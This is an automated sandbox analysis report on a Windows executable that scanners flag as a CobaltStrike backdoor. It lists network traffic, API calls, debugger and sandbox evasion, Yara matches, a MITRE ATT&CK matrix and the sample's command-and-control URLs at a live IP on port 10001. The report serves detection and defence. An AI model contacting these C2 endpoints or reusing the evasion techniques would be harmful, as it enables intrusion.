Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 10001 -> 49940

Source: C:\Users\user\Desktop\7kSftA4Eoh.exe

Code function: 0_2_009AC148 EncodePointer,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_009AC148

Malware Analysis System Evasion

Contains functionality to detect sleep reduction / modifications

Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_0099F5C8		0_2_0099F5C8
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_009A3F88		0_2_009A3F88

Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Window / User API: threadDelayed 1705			Jump to behavior
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Window / User API: threadDelayed 8071			Jump to behavior

Source: C:\Users\user\Desktop\7kSftA4Eoh.exe

Evasive API call chain: GetLocalTime,DecisionNodes

graph_0-30515

Source: C:\Users\user\Desktop\7kSftA4Eoh.exe

API coverage: 7.6 %

Source: C:\Users\user\Desktop\7kSftA4Eoh.exe

Code function: 0_2_009A3F88

0_2_009A3F88

Source: C:\Users\user\Desktop\7kSftA4Eoh.exe TID: 7016	Thread sleep count: 1705 > 30	Jump to behavior
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe TID: 7016	Thread sleep time: -17050000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe TID: 7044	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe TID: 7016	Thread sleep count: 8071 > 30	Jump to behavior
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe TID: 7016	Thread sleep time: -80710000s >= -30000s	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_009A0ED4 malloc,GetCurrentDirectoryA,FindFirstFileA,GetLastError,free,free,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FindNextFileA,FindClose,		0_2_009A0ED4
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_009A779C malloc,_snprintf,FindFirstFileA,free,malloc,_snprintf,free,FindNextFileA,FindClose,		0_2_009A779C

Source: C:\Users\user\Desktop\7kSftA4Eoh.exe

Thread delayed: delay time: 60000

Jump to behavior

Source: 7kSftA4Eoh.exe, 00000000.00000002.4125449731.0000000000171000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2357156436.0000000000171000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2497560445.0000000000171000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2791907620.0000000000171000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWr
Source: 7kSftA4Eoh.exe, 00000000.00000003.2497560445.000000000012E000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000002.4125449731.0000000000171000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2791907620.000000000012E000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000002.4125449731.000000000010A000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2357156436.0000000000171000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2497560445.0000000000171000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2357156436.000000000012F000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2791907620.0000000000171000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\7kSftA4Eoh.exe

API call chain: ExitProcess graph end node

graph_0-30589

Anti Debugging

Found API chain indicative of debugger detection

Source: C:\Users\user\Desktop\7kSftA4Eoh.exe

Debugger detection routine: QueryPerformanceCounter, DebugActiveProcess, DecisionNodes, ExitProcess or Sleep

graph_0-30291

Found potential dummy code loops (likely to delay analysis)

Source: C:\Users\user\Desktop\7kSftA4Eoh.exe

Process Stats: CPU usage > 42% for more than 60s

Source: C:\Users\user\Desktop\7kSftA4Eoh.exe

Code function: 0_2_009B4014 IsDebuggerPresent,__crtUnhandledException,

0_2_009B4014

Source: C:\Users\user\Desktop\7kSftA4Eoh.exe

Code function: 0_2_009B4C34 EncodePointer,__crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_009B4C34

Source: C:\Users\user\Desktop\7kSftA4Eoh.exe

Code function: 0_2_009BC124 LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,FreeLibrary,LoadLibraryExW,GetLastError,LoadLibraryExW,

0_2_009BC124

Source: C:\Users\user\Desktop\7kSftA4Eoh.exe

Code function: 0_2_009ADA80 GetProcessHeap,

0_2_009ADA80

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_00401180 Sleep,Sleep,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_initterm,GetStartupInfoA,	0_2_00401180
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_00402F69 SetUnhandledExceptionFilter,	0_2_00402F69
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_00401A70 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,abort,	0_2_00401A70
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_004092E4 SetUnhandledExceptionFilter,	0_2_004092E4
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_009B0270 SetUnhandledExceptionFilter,UnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_009B0270
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_009BE4E8 SetUnhandledExceptionFilter,	0_2_009BE4E8

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: 7kSftA4Eoh.exe PID: 6992, type: MEMORYSTR

Source: C:\Users\user\Desktop\7kSftA4Eoh.exe

Code function: 0_2_009AA7DC LogonUserA,GetLastError,ImpersonateLoggedOnUser,GetLastError,

0_2_009AA7DC

Source: C:\Users\user\Desktop\7kSftA4Eoh.exe

Code function: 0_2_009BE050 AllocateAndInitializeSid,

0_2_009BE050

Source: C:\Users\user\Desktop\7kSftA4Eoh.exe

Code function: 0_2_00401630 CreateNamedPipeA,ConnectNamedPipe,WriteFile,CloseHandle,

0_2_00401630

Source: C:\Users\user\Desktop\7kSftA4Eoh.exe

Code function: 0_2_00401990 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_00401990

Source: C:\Users\user\Desktop\7kSftA4Eoh.exe

Code function: 0_2_009A455C GetUserNameA,GetComputerNameA,GetModuleFileNameA,strrchr,GetVersionExA,GetProcAddress,GetModuleHandleA,GetProcAddress,_snprintf,

0_2_009A455C

Source: C:\Users\user\Desktop\7kSftA4Eoh.exe

Code function: 0_2_009A455C GetUserNameA,GetComputerNameA,GetModuleFileNameA,strrchr,GetVersionExA,GetProcAddress,GetModuleHandleA,GetProcAddress,_snprintf,

0_2_009A455C

Source: C:\Users\user\Desktop\7kSftA4Eoh.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Remote Access Functionality

Yara detected CobaltStrike

Source: Yara match	File source: Process Memory Space: 7kSftA4Eoh.exe PID: 6992, type: MEMORYSTR
Source: Yara match	File source: 0.2.7kSftA4Eoh.exe.990000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.7kSftA4Eoh.exe.990000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.4126310737.00000000009F0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4125434545.00000000000D0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Metasploit Payload

Source: Yara match

File source: 00000000.00000002.4125434545.00000000000D0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_009A50E0 socket,htons,ioctlsocket,closesocket,bind,listen,	0_2_009A50E0
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_009A4CD8 htonl,htons,socket,closesocket,bind,ioctlsocket,	0_2_009A4CD8
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_009BE628 bind,	0_2_009BE628
Source: C:\Users\user\Desktop\7kSftA4Eoh.exe	Code function: 0_2_009AAF84 socket,closesocket,htons,bind,listen,	0_2_009AAF84

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	2 Native API	2 Valid Accounts	2 Valid Accounts	2 Valid Accounts	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	21 Access Token Manipulation	212 Virtualization/Sandbox Evasion	LSASS Memory	341 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Process Injection	21 Access Token Manipulation	Security Account Manager	212 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	1 Process Injection	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	1 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	111 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	1 Account Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	1 System Owner/User Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 File and Directory Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	4 System Information Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
7kSftA4Eoh.exe	89%	ReversingLabs	Win64.Backdoor.CobaltStrike
7kSftA4Eoh.exe	79%	Virustotal		Browse
7kSftA4Eoh.exe	100%	Avira	HEUR/AGEN.1345031
7kSftA4Eoh.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://8.130.42.227:10001/en_US/all.js	4%	Virustotal		Browse
http://8.130.42.227:10001/2yMe	6%	Virustotal		Browse

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://8.130.42.227:10001/en_US/all.js	true	4%, Virustotal, Browse	unknown
http://8.130.42.227/2yMe	true		unknown
http://8.130.42.227:10001/2yMe	true	6%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://8.130.42.227:10001/2yMeP	7kSftA4Eoh.exe, 00000000.00000002.4125449731.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2791907620.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2497560445.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2357156436.0000000000151000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://8.130.42.227:10001/en_US/all.js#?	7kSftA4Eoh.exe, 00000000.00000003.2791907620.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2497560445.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2357156436.0000000000151000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://8.130.42.227:10001/en_US/all.jsSessionKeyBackward	7kSftA4Eoh.exe, 00000000.00000003.2791907620.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2497560445.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2357156436.0000000000151000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://8.130.42.227:10001/en_US/all.js=D	7kSftA4Eoh.exe, 00000000.00000002.4125449731.000000000010A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://8.130.42.227:10001/en_US/all.jsJ4	7kSftA4Eoh.exe, 00000000.00000002.4125449731.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2791907620.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2497560445.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2357156436.0000000000151000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://8.130.42.227:10001/en_US/all.jsWindows	7kSftA4Eoh.exe, 00000000.00000003.2357156436.0000000000151000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://8.130.42.227:10001/en_US/all.jsn	7kSftA4Eoh.exe, 00000000.00000003.2067405841.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2132660259.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2166831679.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2089166658.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2056644230.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2154291765.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2143627230.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2078222580.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2121871297.0000000000185000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://8.130.42.227:10001/en_US/all.jsm	7kSftA4Eoh.exe, 00000000.00000002.4125449731.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2791907620.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2497560445.0000000000151000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2357156436.0000000000151000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://8.130.42.227:10001/en_US/all.js0	7kSftA4Eoh.exe, 00000000.00000003.2067405841.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2166831679.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2089166658.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2154291765.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2143627230.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2497532252.0000000000182000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2078222580.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2177812007.0000000000185000.00000004.00000020.00020000.00000000.sdmp, 7kSftA4Eoh.exe, 00000000.00000003.2121871297.0000000000185000.00000004.00000020.00020000.00000000.sdmp	false	unknown
